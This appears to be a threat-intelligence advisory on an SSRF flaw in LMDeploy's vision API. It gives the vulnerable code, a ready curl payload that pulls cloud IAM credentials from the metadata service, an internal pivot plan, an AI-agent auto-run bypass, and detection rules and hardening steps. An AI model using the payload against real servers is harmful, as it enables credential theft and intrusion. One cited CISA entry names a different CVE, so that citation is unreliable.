CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata Exfiltration
HERMES THREAT SCORE & OPERATIONAL EXPLOITABILITY
Target:LMDeploy LLM Serving Engine (Linux, Kubernetes AI Clusters) Elevated to 88 EXTREME by Hermes due to rapid weaponization in the wild within 12–13 hours of disclosure, high automated scanning against public AI inference endpoints, and automated exfiltration of cloud IAM metadata credentials.
CVE-2026-33626: LMDeploy Vision-Language SSRF & Cloud Metadata ExfiltrationVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in LMDeploy Serving Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.
🔍 Why is this related? (Evidence & Provenance)
“CVE-2026-33626 weaponizes the agentic attack pattern formalized under AAP-007.”
- [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)
Root Cause Analysis
Section titled “Root Cause Analysis”LMDeploy provides high-performance model serving for multimodal models (such as InternVL, Qwen-VL, and LLaVA) via an OpenAI-compatible REST API. When processing chat completion requests containing image inputs, client payloads include image_url objects:
{ "model": "internvl2-8b", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Describe this architecture diagram."}, {"type": "image_url", "image_url": {"url": "https://example.com/diag.png"}} ] } ]}LMDeploy Multimodal Request Flow & Insecure Ingestion Defect:
Client Ingress: POST /v1/chat/completions { "image_url": { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } │ ▼ LMDeploy FastAPI / Async Gateway │ ▼ lmdeploy/vl/utils.py: load_image() ┌─────────────────────────────────────────────────────────────┐ │ Insecure Routine: │ │ def load_image(image_url): │ │ response = requests.get(image_url, timeout=5) │ │ # NO URL SCHEME VALIDATION │ │ # NO PRIVATE IP / LOOPBACK / LINK-LOCAL FILTERING │ │ # BLINDLY RETURNS RESPONSE BYTES TO TENSOR PIPELINE │ └─────────────────────────────────────────────────────────────┘ │ ▼ [CRITICAL SSRF EXECUTION (CWE-918)] Server requests: http://169.254.169.254/latest/meta-data/ Exfiltrates: AWS IAM Security Credentials / GCP Access TokensThe Insecure Image Retrieval Pipeline
Section titled “The Insecure Image Retrieval Pipeline”The defect was identified in lmdeploy/vl/utils.py within load_image() and encode_image_base64():
# Vulnerable snippet in lmdeploy/vl/utils.py (pre-0.12.3)import requestsfrom io import BytesIOfrom PIL import Image
def load_image(image_url: str) -> Image.Image: if image_url.startswith('http://') or image_url.startswith('https://'): # Insecure: direct request without destination address resolution or IP filtering resp = requests.get(image_url, timeout=10) resp.raise_for_status() return Image.open(BytesIO(resp.content)) # ...Three critical architectural oversights rendered this implementation exploitable:
- No Target Resolution Verification: The code did not resolve hostnames to IP addresses prior to initiating the HTTP request, allowing DNS rebinding and redirect attacks.
- Missing Deny-Lists for Private Ranges: No filtering was implemented for loopback (
127.0.0.0/8,::1), RFC1918 subnets (10.0.0.0/8,172.16.0.0/12,192.168.0.0/16), or cloud metadata link-local addresses (169.254.169.254). - Information Disclosure via Model Reflection or Error Propagation: In setups returning raw error traces or multimodal responses, the content of internal responses—or metadata error strings—can be mirrored directly back to the caller or reflected in the vision transformer’s output tokens.
Exploit Mechanics & Threat Telemetry
Section titled “Exploit Mechanics & Threat Telemetry”Threat actor telemetry collected by threat intelligence sensors recorded weaponized scanning within 12 hours of the advisory. Adversaries leveraged automated enumeration scripts:
1. Cloud Instance Metadata Harvesting (AWS / GCP / Azure)
Section titled “1. Cloud Instance Metadata Harvesting (AWS / GCP / Azure)”On AWS EC2 instances running IMDSv1 (where HttpTokens=optional), an unauthenticated attacker issues:
curl -X POST "http://target-ai-cluster.internal:23333/v1/chat/completions" \ -H "Content-Type: application/json" \ -d '{ "model": "internvl-chat", "messages": [ { "role": "user", "content": [ {"type": "text", "text": "Extract all text strings from this image verbatim."}, {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/k8s-ai-node-role"}} ] } ] }'When the vision encoder processes the returned text stream, or when the API returns an ingestion diagnostic, the node role’s temporary AccessKeyId, SecretAccessKey, and Token are exfiltrated to the adversary.
2. Internal Microservice Port Scanning & Lateral Pivot
Section titled “2. Internal Microservice Port Scanning & Lateral Pivot”Because AI serving pods typically run with permissive network policies inside Kubernetes clusters, attackers use LMDeploy as an egress proxy:
- Vector Databases: Scanning Milvus (
port 19530), Qdrant (port 6333), or ChromaDB to locate proprietary document embeddings. - Model Cache & Orchestration: Interacting with unauthenticated Redis caches (
port 6379) or local Triton/Ray endpoints (port 8000/10001). - Inter-Agent Pivoting: Triggering downstream autonomous agents by directing the SSRF toward internal agent tool dispatchers.
Threat Actor Exploitation Lifecycle:[Target Discovery] ──► Query Shodan/Censys for exposed LMDeploy (:23333 /v1/chat/completions) │[Egress SSRF] ──► Inject link-local URL (169.254.169.254) │[Cred Theft] ──► Harvest AWS IAM Role / GCP Service Account tokens │[Cluster Pivot] ──► Access internal Vector DB & Redis models │[Persistence] ──► Poison RAG datastores & exfiltrate intellectual propertyCross-Linking: AI Security & Attack Pattern Mapping
Section titled “Cross-Linking: AI Security & Attack Pattern Mapping”CVE-2026-33626 sits at the critical intersection of AI model serving infrastructure and agentic attack chains:
| Framework / Codex Reference | Identifier | Relevance & Traversal Path |
|---|---|---|
| Agentic Attack Pattern | AAP-007 | Exfiltration via Execution: Autonomous tool execution or model ingestion forced into exfiltrating protected data to out-of-band sinks. |
| Agentic Attack Pattern | AAP-008 | Sensitive Data Exfiltration / Egress Sinks: Unchecked outbound network channels leaking environment secrets. |
| Related AI Vulnerability | CVE-2026-59822 | LiteLLM Bearer Auth Bypass: Similar cloud-native AI gateway compromise targeting infrastructure tokens. |
| Related Protocol Smuggling | CVE-2026-48710 | Starlette ASGI Smuggling: Bypassing ingress gateway security boundaries in Python AI API backends. |
| Codex Pillar Study | How to Attack an AI Agent | Detailed architectural analysis of why agentic tool boundaries fail under multimodal inputs. |
| Interactive Defense Tool | AgentThreat Studio | Test and threat-model model ingress and egress sinks against SSRF and data exfiltration rules. |
Forensic Artifacts & Detection Engineering
Section titled “Forensic Artifacts & Detection Engineering”Security Operations Centers (SOC) and incident response teams can detect exploitation through network telemetry and endpoint process monitoring:
title: LMDeploy Multimodal SSRF Metadata Access Attemptid: 4e9a6c11-9f44-42b7-8321-lmdeploy001status: experimentaldescription: Detects outbound network connections from LMDeploy or AI serving processes toward cloud instance metadata services or private internal subnets.author: Hermes Codex CTIdate: 2026-09-08references: - CVE-2026-33626tags: - attack.initial_access - attack.t1190 - attack.credential_access - attack.t1552.005logsource: category: network_connection product: linuxdetection: selection_process: Image|endswith: - '/python' - '/python3' - '/lmdeploy' - '/uvicorn' selection_dest: DestinationIp: - '169.254.169.254' - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' - '127.0.0.1' filter_legitimate: DestinationPort: - 53 - 443 condition: selection_process and selection_dest and not filter_legitimatefalsepositives: - Internal cluster monitoring scripts communicating directly over loopback (verify command line).level: criticalalert http $EXTERNAL_NET any -> $HOME_NET [23333,8000,8080] ( msg:"HERMES-CODEX - LMDeploy Vision-Language SSRF Attempt (CVE-2026-33626)"; flow:established,to_server; content:"POST"; http_method; content:"/v1/chat/completions"; http_uri; content:"image_url"; nocase; http_client_body; pcre:"/\"url\"\s*:\s*\"https?:\/\/(169\.254\.169\.254|127\.|10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|localhost)/i"; classtype:web-application-attack; sid:202633626; rev:1; reference:cve,2026-33626;)index=k8s_audit sourcetype="kube:apiserver"| search uri="/api/v1/namespaces/*/pods/*/proxy/v1/chat/completions" OR requestURI="*chat/completions*"| rex field=request_body "\"url\":\s*\"(?<target_url>[^\"]+)\""| where match(target_url, "(169\.254\.169\.254|127\.0\.0\.1|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3})")| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, user, pod_name, target_url| sort - countMitigation & Hardening Matrix
Section titled “Mitigation & Hardening Matrix”Organizations utilizing LMDeploy for inference serving must implement the following remediation controls:
1. Upgrade LMDeploy
Section titled “1. Upgrade LMDeploy”Deploy LMDeploy version 0.12.3 or later, which introduces strict URL verification, hostname validation, and private IP blocking within lmdeploy/vl/utils.py.
2. Enforce IMDSv2 Across Cloud Infrastructure
Section titled “2. Enforce IMDSv2 Across Cloud Infrastructure”For AWS-hosted clusters, mandate IMDSv2 with token hops restricted to 1:
aws ec2 modify-instance-metadata-options \ --instance-id <INSTANCE_ID> \ --http-tokens required \ --http-put-response-hop-limit 1 \ --http-endpoint enabledBy requiring a PUT request with a pre-fetched session token, SSRF vulnerabilities that only execute simple GET requests cannot retrieve metadata.
3. Kubernetes NetworkPolicies (Egress Filtering)
Section titled “3. Kubernetes NetworkPolicies (Egress Filtering)”Apply strict Kubernetes NetworkPolicy objects preventing AI serving pods from reaching link-local and internal service CIDRs:
apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata: name: deny-metadata-egress namespace: ai-inferencespec: podSelector: matchLabels: app: lmdeploy policyTypes: - Egress egress: - to: - ipBlock: cidr: 0.0.0.0/0 except: - 169.254.169.254/32 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16Sources & Technical References
Section titled “Sources & Technical References”- NIST National Vulnerability Database: CVE-2026-33626 Detail
- GitHub Advisory: GHSA-79v8-6hfm-pq5f: SSRF in LMDeploy Vision Module
- Sysdig Threat Research: In-The-Wild Exploitation of LMDeploy SSRF (April 2026)
- Related Codex Studies: How to Attack an AI Agent and What Can AI Agents Do in 2026?
- Interactive Sandbox: AgentThreat Studio Security Modeling